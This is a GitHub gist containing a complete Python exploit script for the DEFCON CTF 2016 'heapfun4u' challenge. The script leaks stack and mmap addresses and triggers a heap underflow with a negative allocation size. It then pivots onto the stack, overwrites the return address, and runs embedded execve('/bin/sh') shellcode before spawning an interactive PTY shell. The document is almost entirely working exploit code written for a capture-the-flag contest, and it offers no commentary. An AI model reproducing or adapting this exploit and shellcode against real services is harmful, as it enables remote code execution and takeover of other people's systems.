Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created May 23, 2016 23:44
Show Gist options
  • Save hugsy/892495d2299189db06517ff9a0b6249b to your computer and use it in GitHub Desktop.
Save hugsy/892495d2299189db06517ff9a0b6249b to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
#
# DEFCON CTF 2016 - heapfun4u
#
# @_hugsy_
#
import socket, struct, sys, telnetlib, binascii
HOST = "heapfun4u_873c6d81dd688c9057d5b229cf80579e.quals.shallweplayaga.me"
HOST = "172.28.128.4"
PORT = 3957
def p16(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i)
def u16(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0]
def p32(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i)
def u32(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0]
def p64(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i)
def u64(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0]
def _xlog(x): sys.stderr.write(x + "\n") ; sys.stderr.flush() ; return
def err(msg): _xlog("[!] %s" % msg)
def ok(msg): _xlog("[+] %s" % msg)
def dbg(msg): _xlog("[*] %s" % msg)
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg))
def build_socket(host, port):
s = telnetlib.Telnet(HOST, PORT)
ok("Connected to %s:%d" % (host, port))
return s
def interact(s, live_tty=False):
pty = """python -c "import pty;pty.spawn('/bin/bash')" """
try:
if live_tty: s.write(pty + '\n')
else: ok("""Get a PTY with ' %s '""" % pty)
s.interact()
except KeyboardInterrupt:
ok("Leaving")
except Exception as e:
err("Unexpected exception: %s" % e)
return
def sc():
d = ""
d+= "\x48\x31\xc0" # xor rax, rax
d+= "\xb0\x3b" # mov al, 59
d+= "\x48\xbe\x2f\x62\x69\x6e\x2f\x73\x68\x01" # mov rsi, 0x0168732f6e69622f
d+= "\x48\xc1\xe6\x08" # shl rsi, 8
d+= "\x48\xc1\xee\x08" # shr rsi, 8
d+= "\x48\x89\x34\x24" # mov [rsp], rsi
d+= "\x48\x89\xe7" # mov rdi, rsp
d+= "\x48\x31\xf6" # xor rsi, rsi
d+= "\x48\x31\xd2" # xor rdx, rdx
d+= "\x0f\x05" # syscall
return d
def pwn(s):
# leak stack address
s.read_until("| ")
s.write("N\n")
s.read_until("Here you go: ")
addr = s.read_until("\n")
stack_addr = int(addr, 0x10)
rbp = stack_addr + 4
rsp = rbp - 0x60
ok("rbp = %#x" % rbp)
ok("rsp = %#x" % rsp)
l = 128
# payload = "A"*(l-8) + p64(0x4242424242424242)
# first allocation (normal)
s.read_until("| ")
s.write("A\n")
s.read_until("Size: ")
s.write("%d\n" % l)
ok("1st allocation ok")
# second allocation with neg. size (-> underflow)
s.read_until("| ")
s.write("A\n")
s.read_until("Size: ")
s.write("-1\n")
ok("2nd allocation ok")
# 3rd allocation
s.read_until("| ")
s.write("A\n")
s.read_until("Size: ")
s.write("10\n")
ok("3rd allocation ok")
# free the 2nd alloc to shift the last_buffer pointer inside the 1st alloc (0x401219)
# and also leak the mmap(RWX) address
s.read_until("| ")
s.write("F\n")
line = s.read_until("\n").split()
mmap_area = int(line[1], 0x10)
ok("Leaked mmap-ed areas: %#x" % mmap_area)
s.read_until("Index: ")
s.write("3\n")
ok("Free(#3) ok")
s.read_until("| ")
s.write("F\n")
s.read_until("Index: ")
s.write("2\0" + 'D'*126 + p64(0x1000) + 'B'*8 + 'C'*8 + '\n')
ok("Free(#2) ok")
# overwrite last_buffer pointer
sh = sc()
payload = sh + 'A'*(l-8-len(sh)) + p64(rbp+0x90)
s.read_until("| ")
s.write("W\n")
s.read_until("Write where: ")
s.write("1\n")
s.read_until("Write what: ")
s.write("%s" % payload)
ok("Overwriting pointer ok")
# pivot to stack
s.read_until("| ")
s.write("A\n")
s.read_until("Size: ")
s.write("%d\n" % 0x200)
ok("Stack pivot ok")
# overflow the stack & overwrite $pc
s.read_until("| ")
s.write("W\n")
res = s.read_until("Write where: ")
area = res.split("\n")[-2].split()[1]
area = int(area, 16)
# print(hex(area))
s.write("4\n")
s.read_until("Write what: ")
p = 'A'*160 + p64(mmap_area)
s.write("%s\n" % p)
ok("Overwriting rip ok")
# trigger ret (i.e. exit)
s.read_until("| ")
s.write("E\n")
ok("Trigger return to %x" % mmap_area)
# raw_input("end ")
return True
if __name__ == "__main__":
s = build_socket(HOST, PORT)
raw_input("Attach with GDB and hit Enter ")
if pwn(s):
ok("Switching to interactive...")
interact(s, True)
ret = 0
else:
err("Failed to exploit")
ret = 1
s.close()
exit(ret)
# auto-generated by gef
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment